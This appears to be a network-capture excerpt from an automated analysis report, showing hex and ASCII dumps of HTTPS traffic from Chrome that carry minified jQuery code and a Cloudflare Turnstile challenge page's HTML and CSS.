2024-12-09 17:42:19 UTC	1369	IN	Data Raw: 74 6f 74 79 70 65 4f 66 2c 73 3d 74 2e 73 6c 69 63 65 2c 67 3d 74 2e 66 6c 61 74 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 66 6c 61 74 2e 63 61 6c 6c 28 65 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 63 6f 6e 63 61 74 2e 61 70 70 6c 79 28 5b 5d 2c 65 29 7d 2c 75 3d 74 2e 70 75 73 68 2c 69 3d 74 2e 69 6e 64 65 78 4f 66 2c 6e 3d 7b 7d 2c 6f 3d 6e 2e 74 6f 53 74 72 69 6e 67 2c 76 3d 6e 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 61 3d 76 2e 74 6f 53 74 72 69 6e 67 2c 6c 3d 61 2e 63 61 6c 6c 28 4f 62 6a 65 63 74 29 2c 79 3d 7b 7d 2c 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 6e 75 6d 62 65 72 22 21 3d 74 79 70 65 6f 66 Data Ascii: totypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof
2024-12-09 17:42:19 UTC	1369	IN	Data Raw: 61 73 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 71 28 2d 31 29 7d 2c 65 76 65 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 67 72 65 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 28 74 2b 31 29 25 32 7d 29 29 7d 2c 6f 64 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 67 72 65 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 25 32 7d 29 29 7d 2c 65 71 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 6c 65 6e 67 74 68 2c 6e 3d 2b 65 2b 28 65 3c 30 3f 74 3a 30 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e Data Ascii: ast:function(){return this.eq(-1)},even:function(){return this.pushStack(S.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(S.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.
2024-12-09 17:42:19 UTC	1369	IN	Data Raw: 61 6c 6c 28 65 5b 72 5d 2c 72 2c 65 5b 72 5d 29 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 65 7d 2c 6d 61 6b 65 41 72 72 61 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 7c 7c 5b 5d 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 65 26 26 28 70 28 4f 62 6a 65 63 74 28 65 29 29 3f 53 2e 6d 65 72 67 65 28 6e 2c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 3f 5b 65 5d 3a 65 29 3a 75 2e 63 61 6c 6c 28 6e 2c 65 29 29 2c 6e 7d 2c 69 6e 41 72 72 61 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 74 3f 2d 31 3a 69 2e 63 61 6c 6c 28 74 2c 65 2c 6e 29 7d 2c 6d 65 72 67 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 2b 74 2e 6c 65 6e 67 74 68 2c 72 3d 30 2c 69 3d 65 Data Ascii: all(e[r],r,e[r]))break;return e},makeArray:function(e,t){var n=t\|\|[];return null!=e&&(p(Object(e))?S.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e
2024-12-09 17:42:19 UTC	1369	IN	Data Raw: 3d 29 22 2b 4d 2b 22 2a 28 3f 3a 27 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 27 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 7c 28 22 2b 49 2b 22 29 29 7c 29 22 2b 4d 2b 22 2a 5c 5c 5d 22 2c 46 3d 22 3a 28 22 2b 49 2b 22 29 28 3f 3a 5c 5c 28 28 28 27 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 27 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 29 7c 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 28 29 5b 5c 5c 5d 5d 7c 22 2b 57 2b 22 29 2a 29 7c 2e 2a 29 5c 5c 29 7c 29 22 2c 42 3d 6e 65 77 20 52 65 67 45 78 70 28 4d 2b 22 2b 22 2c 22 67 22 29 2c 24 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2b 7c 28 28 3f 3a 5e 7c 5b 5e 5c 5c 5c 5c Data Ascii: =)"+M+"(?:'((?:\\\\.\|[^\\\\']))'\|\"((?:\\\\.\|[^\\\\\"]))\"\|("+I+"))\|)"+M+"\\]",F=":("+I+")(?:\$(('((?:\\\\.\|[^\\\\']))'\|\"((?:\\\\.\|[^\\\\\"]))\")\|((?:\\\\.\|[^\\\\()[\\]]\|"+W+"))\|.)\$\|)",B=new RegExp(M+"+","g"),$=new RegExp("^"+M+"+\|((?:^\|[^\\\\
2024-12-09 17:42:19 UTC	1369	IN	Data Raw: 28 31 36 29 2b 22 20 22 3a 22 5c 5c 22 2b 65 7d 2c 6f 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 54 28 29 7d 2c 61 65 3d 62 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 30 3d 3d 3d 65 2e 64 69 73 61 62 6c 65 64 26 26 22 66 69 65 6c 64 73 65 74 22 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 7b 64 69 72 3a 22 70 61 72 65 6e 74 4e 6f 64 65 22 2c 6e 65 78 74 3a 22 6c 65 67 65 6e 64 22 7d 29 3b 74 72 79 7b 48 2e 61 70 70 6c 79 28 74 3d 4f 2e 63 61 6c 6c 28 70 2e 63 68 69 6c 64 4e 6f 64 65 73 29 2c 70 2e 63 68 69 6c 64 4e 6f 64 65 73 29 2c 74 5b 70 2e 63 68 69 6c 64 4e 6f 64 65 73 2e 6c 65 6e 67 74 68 5d 2e 6e 6f 64 65 54 79 70 65 7d 63 61 74 63 68 28 65 29 7b 48 3d 7b 61 70 70 6c 79 3a 74 2e 6c 65 6e 67 Data Ascii: (16)+" ":"\\"+e},oe=function(){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(p.childNodes),p.childNodes),t[p.childNodes.length].nodeType}catch(e){H={apply:t.leng
2024-12-09 17:42:19 UTC	1369	IN	Data Raw: 72 3d 5b 5d 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 20 65 28 74 2c 6e 29 7b 72 65 74 75 72 6e 20 72 2e 70 75 73 68 28 74 2b 22 20 22 29 3e 62 2e 63 61 63 68 65 4c 65 6e 67 74 68 26 26 64 65 6c 65 74 65 20 65 5b 72 2e 73 68 69 66 74 28 29 5d 2c 65 5b 74 2b 22 20 22 5d 3d 6e 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 65 28 65 29 7b 72 65 74 75 72 6e 20 65 5b 53 5d 3d 21 30 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 76 61 72 20 74 3d 43 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 66 69 65 6c 64 73 65 74 22 29 3b 74 72 79 7b 72 65 74 75 72 6e 21 21 65 28 74 29 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 66 69 6e 61 6c 6c 79 7b 74 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 Data Ascii: r=[];return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[S]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeCh
2024-12-09 17:42:19 UTC	1369	IN	Data Raw: 2c 6e 2c 72 3d 65 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 3a 70 3b 72 65 74 75 72 6e 20 72 21 3d 43 26 26 39 3d 3d 3d 72 2e 6e 6f 64 65 54 79 70 65 26 26 72 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 26 26 28 61 3d 28 43 3d 72 29 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 45 3d 21 69 28 43 29 2c 70 21 3d 43 26 26 28 6e 3d 43 2e 64 65 66 61 75 6c 74 56 69 65 77 29 26 26 6e 2e 74 6f 70 21 3d 3d 6e 26 26 28 6e 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 6e 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 75 6e 6c 6f 61 64 22 2c 6f 65 2c 21 31 29 3a 6e 2e 61 74 74 61 63 68 45 76 65 6e 74 26 26 6e 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 75 6e 6c 6f 61 64 22 2c 6f 65 29 29 2c 64 2e 73 63 6f 70 65 3d 63 65 Data Ascii: ,n,r=e?e.ownerDocument\|\|e:p;return r!=C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),p!=C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.scope=ce
2024-12-09 17:42:20 UTC	1369	IN	Data Raw: 6f 3d 69 5b 72 2b 2b 5d 29 69 66 28 28 6e 3d 6f 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 29 26 26 6e 2e 76 61 6c 75 65 3d 3d 3d 65 29 72 65 74 75 72 6e 5b 6f 5d 7d 72 65 74 75 72 6e 5b 5d 7d 7d 29 2c 62 2e 66 69 6e 64 2e 54 41 47 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3f 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 65 29 3a 64 2e 71 73 61 3f 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 65 29 3a 76 6f 69 64 20 30 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c Data Ascii: o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,
2024-12-09 17:42:20 UTC	1369	IN	Data Raw: 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 3b 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 22 68 69 64 64 65 6e 22 29 2c 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 44 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6e 61 6d 65 3d 64 5d 22 29 2e 6c 65 6e 67 74 68 26 26 76 2e 70 75 73 68 28 22 6e 61 6d 65 22 2b 4d 2b 22 2a 5b 2a 5e 24 7c 21 7e 5d 3f 3d 22 29 2c 32 21 3d 3d 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 65 6e 61 62 6c 65 64 22 29 2e 6c 65 6e 67 74 68 26 26 76 2e 70 75 73 68 28 22 3a 65 6e 61 62 6c 65 64 22 2c 22 3a 64 69 73 61 62 6c 65 64 22 29 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 2e 64 69 73 61 Data Ascii: lement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&v.push("name"+M+"[^$\|!~]?="),2!==e.querySelectorAll(":enabled").length&&v.push(":enabled",":disabled"),a.appendChild(e).disa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.17	49773	104.18.94.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:21 UTC	797	OUT	GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/xb30u/0x4AAAAAAAz81HM6AHANCtc4/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://offcap.myconm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:42:21 UTC	1362	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:42:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26762 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2024-12-09 17:42:21 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 65 66 36 63 61 38 66 38 65 62 35 34 32 62 32 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8ef6ca8f8eb542b2-EWRalt-svc: h3=":443"; ma=86400
2024-12-09 17:42:21 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2024-12-09 17:42:21 UTC	1369	IN	Data Raw: 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 Data Ascii: ding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiased
2024-12-09 17:42:21 UTC	1369	IN	Data Raw: 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 30 Data Ascii: troke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#0
2024-12-09 17:42:21 UTC	1369	IN	Data Raw: 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 6b Data Ascii: -dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dark
2024-12-09 17:42:21 UTC	1369	IN	Data Raw: 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 Data Ascii: 0}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-he
2024-12-09 17:42:21 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 Data Ascii: stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de13
2024-12-09 17:42:21 UTC	1369	IN	Data Raw: 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 Data Ascii: y:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-comp
2024-12-09 17:42:21 UTC	1369	IN	Data Raw: 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 78 Data Ascii: {left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:flex
